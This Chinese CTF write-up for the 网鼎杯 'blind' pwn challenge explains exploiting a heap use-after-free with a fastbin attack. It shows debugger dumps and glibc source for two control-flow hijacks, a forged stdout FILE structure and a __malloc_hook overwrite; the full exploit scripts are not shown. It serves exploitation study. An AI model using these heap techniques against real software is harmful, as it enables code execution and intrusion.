网鼎杯pwn-blind
题目下载链接:
链接:https://pan.baidu.com/s/19Imm-V-i71vpEN1mofwOhQ 密码:isek
题目分析
程序提供了下面几种功能:1
2
3
4
5
6
7
8int print_choice()
{
puts("1.new");
puts("2.change");
puts("3.release");
puts("4.exit");
return printf("Choice:");
}
- new:创建一个堆块,大小为0x68,程序对创建堆块的数量进行了限制,最多只能创建5个。
- change:对分配的堆块进行编辑。
- release:释放分配的堆块,在释放后没有将对应的指针设置为NULL,存在UAF漏洞。
查看程序开启了哪些保护措施:1
2
3
4
5Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到开启了canary、full relro、nx保护措施。
利用思路——劫持FILE结构体
利用fastbin attack
可以实现分配一个虚假的chunk在bss段上,进而控制bss段上的数据,实现任意地址写入。再有了任意地址写入的能力后,关键是如何控制程序的流程,程序里面没有输出函数,不存在信息泄露,got表不可写,无法通过修改got表来控制程序流程。
这里采用劫持_IO_FILE
的方式来控制程序流程,程序中stdin
、stdout
、stderror
结构体的指针均存放在bss段上,由于可以做到任意地址写入,把这里的stdout指针指向我们伪造的_IO_FILE
结构体,并将其中的函数表中的值指向0x4008e3处(这里会执行system(‘/bin/sh’))
往bss段上分配虚假的chunk,需要满足对chunk中size域的校验,程序分配的chunk大小均为0x70,而在bss段上恰好可以通过偏移的方式来满足这个条件:1
2
3
4
5
6
7
8
9pwndbg> x /100xb 0x602020
0x602020 <stdout>: 0x20 0xb6 0x0c 0x45 0x17 0x7f 0x00 0x00
0x602028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602030 <stdin>: 0xe0 0xa8 0x0c 0x45 0x17 0x7f 0x00 0x00
0x602038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602040 <stderr>: 0x40 0xb5 0x0c 0x45 0x17 0x7f 0x00 0x00
0x602048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x602058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
如果chunk是从0x602025-0x8=0x60201d、0x602035-0x8=0x60202d、0x602045-0x8=0x60203d处开始,那么这样的chunk刚好可以满足条件:1
2
3
4
5pwndbg> x /10xg 0x60203d
0x60203d: 0x17450cb540000000 0x000000000000007f
0x60204d: 0x0000000000000000 0x0000000000000000
0x60205d: 0x0000602200000000 0x000062c000000000
0x60206d: 0x000062c010000000 0x000062c080000000
利用代码
1 | from pwn import * |
关于_IO_FILE的问题
这里将FILE结构体伪造在了0x602100处,0x602100处对应的值为FILE结构体里面的flag,这个标识的值怎么来的?1
2
3
4
5pwndbg> x /10xg 0x00007f17450cb620
0x7f17450cb620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f17450cb6a3
0x7f17450cb630 <_IO_2_1_stdout_+16>: 0x00007f17450cb6a3 0x00007f17450cb6a3
0x7f17450cb640 <_IO_2_1_stdout_+32>: 0x00007f17450cb6a3 0x00007f17450cb6a3
0x7f17450cb650 <_IO_2_1_stdout_+48>: 0x00007f17450cb6a3 0x00007f17450cb6a3
查看stdout结构体原始的flag值为0xfbad2887
,但是在虚假FILE结构体里将flag设置为这个值总是会出错。而将其设置为writeup里面的值0xfbada887
就没有问题。所以在利用IO_FILE控制程序流程时flag的值应该怎么选择呢?
先比较这两个_flags
值(由于_flags
值的高2字节为magic,不用管):1
20x2887-->0010 1000 10000111
0xA887-->1010 1000 10000111
可以发现在第二字节的最高位处该值为0x1,flag的值表示的是状态信息,都是通过与某个#define好的值进行与、或操作,这里对应的值应为0x8000,全局搜索glibc源码,找到该值对应的变量为_IO_USER_LOCK
。
在网上搜索该变量相关的信息,找到了下面的文章:
参考链接
我们劫持的是stdout结构体,在劫持后程序立马调用了函数puts:1
2
3
4
5
6if ( (unsigned int)v1 <= 5 && *(&ptr + (unsigned int)v1) )
{
printf("Content:", &s);
get_input((__int64)*(&ptr + (unsigned int)v1), 0x68u);
puts("Done!");
}
puts函数的调用栈回溯:1
2
3
4
5
6vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write
puts函数源码中通过_IO_puts
函数实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
函数开始时调用了_IO_acquire_lock
函数,问题就出现在这里,跟进该函数:1
2
3
4
5
6
do { \
_IO_FILE *_IO_acquire_lock_file \
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp); \
_IO_flockfile (_IO_acquire_lock_file);
其中又调用了_IO_acquire_lock_fct
函数:1
2
3
4
5
6
7
8static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (_IO_FILE **p)
{
_IO_FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0)
_IO_funlockfile (fp);
}
该函数中对标志位_IO_USER_LOCK
进行了检查,不能让fp->_flags & _IO_USER_LOCK
的值为0,这里需要bypass。
在回过头来看这两个_flag
值:1
20x2887-->0010 1000 10000111
0xA887-->1010 1000 10000111
发现0x2887正是因为_IO_USER_LOCK
为0,导致程序执行了_IO_funlockfile (fp)
函数,造成无法正常触发漏洞。
利用思路——劫持__malloc_hook
这里的思路是参考的大佬的思路:http://p4nda.top/2018/08/27/WDBCTF-2018/
首先利用任意地址写的能力可以在bss段上伪造chunk的各个字段。这里没有信息泄露,但是又需要劫持程序的流程。通过伪造一个不属于fast bin的chunk,free该chunk会把该chunk放进unsorted bin,这样main arena+88
的地址就会出现在bss段上了,通过任意地址写的能力将main arena+88
的地址最后一个字节改为0x00,而malloc_hook
的地址就在(main arena+88)&(~0xFF)+0x10
处,然后就可以修改malloc_hook
的值了。
1 | pwndbg> x /20xg 0x602040 |
虚假的chunk起始地址需要满足这个条件:__builtin_expect (misaligned_chunk (p), 0)
,在调试过程中发现如果将chunk起始地址设置在0x602068处,会产生如下的错误:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38[DEBUG] Received 0x48 bytes:
"*** Error in `./blind': free(): invalid pointer: 0x0000000000602078 ***\n"
[DEBUG] Received 0x1d bytes:
'======= Backtrace: =========\n'
[DEBUG] Received 0x985 bytes:
'/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fabcfaa77e5]\n'
'/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fabcfab037a]\n'
'/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fabcfab453c]\n'
'./blind[0x400bd6]\n'
'./blind[0x400ca5]\n'
'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fabcfa50830]\n'
'./blind[0x4007d9]\n'
'======= Memory map: ========\n'
'00400000-00401000 r-xp 00000000 08:01 1050380 /home/ym/Desktop/ctf/wdb/blind/blind\n'
'00601000-00602000 r--p 00001000 08:01 1050380 /home/ym/Desktop/ctf/wdb/blind/blind\n'
'00602000-00603000 rw-p 00002000 08:01 1050380 /home/ym/Desktop/ctf/wdb/blind/blind\n'
'0089c000-008bd000 rw-p 00000000 00:00 0 [heap]\n'
'7fabc8000000-7fabc8021000 rw-p 00000000 00:00 0 \n'
'7fabc8021000-7fabcc000000 ---p 00000000 00:00 0 \n'
'7fabcf81a000-7fabcf830000 r-xp 00000000 08:01 267917 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
'7fabcf830000-7fabcfa2f000 ---p 00016000 08:01 267917 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
'7fabcfa2f000-7fabcfa30000 rw-p 00015000 08:01 267917 /lib/x86_64-linux-gnu/libgcc_s.so.1\n'
'7fabcfa30000-7fabcfbf0000 r-xp 00000000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfbf0000-7fabcfdf0000 ---p 001c0000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfdf0000-7fabcfdf4000 r--p 001c0000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfdf4000-7fabcfdf6000 rw-p 001c4000 08:01 311941 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7fabcfdf6000-7fabcfdfa000 rw-p 00000000 00:00 0 \n'
'7fabcfdfa000-7fabcfe20000 r-xp 00000000 08:01 311346 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7fabd0002000-7fabd0005000 rw-p 00000000 00:00 0 \n'
'7fabd001e000-7fabd001f000 rw-p 00000000 00:00 0 \n'
'7fabd001f000-7fabd0020000 r--p 00025000 08:01 311346 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7fabd0020000-7fabd0021000 rw-p 00026000 08:01 311346 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7fabd0021000-7fabd0022000 rw-p 00000000 00:00 0 \n'
'7ffeca593000-7ffeca5b4000 rw-p 00000000 00:00 0 [stack]\n'
'7ffeca5d2000-7ffeca5d5000 r--p 00000000 00:00 0 [vvar]\n'
'7ffeca5d5000-7ffeca5d7000 r-xp 00000000 00:00 0 [vdso]\n'
'ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n'
Traceback (most recent call last):
构造的虚假chunk,将bss段上的数据放到了unsorted bin中,main_arena+88
的地址也被放到了bss段上:1
2
3
4
5
6
7
8
9
10
11pwndbg> x /20xg 0x602040
0x602040 <stderr>: 0x00007faaecc34540 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000602068 0x0000000000602060
0x602070: 0x0000000001a93000 0x0000000000000101
0x602080: 0x00007faaecc33b78 0x00007faaecc33b78
0x602090: 0x0000000000000000 0x0000000000000001
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
查看main_arena+88
附近的地址:1
2
3
4
5
6
7
8
9
10
11
12pwndbg> x /20xg 0x00007faaecc33b00
0x7faaecc33b00 <__memalign_hook>: 0x00007faaec8f4e20 0x00007faaec8f4a00
//可以看到这里就是malloc_hook的地址,最后一个字节设置为0,且偏移为0x10处
0x7faaecc33b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7faaecc33b70 <main_arena+80>: 0x0000000000000000 0x0000000001a930e0
0x7faaecc33b80 <main_arena+96>: 0x0000000000000000 0x0000000000602070
0x7faaecc33b90 <main_arena+112>: 0x0000000000602070 0x00007faaecc33b88
利用代码
1 | from pwn import * |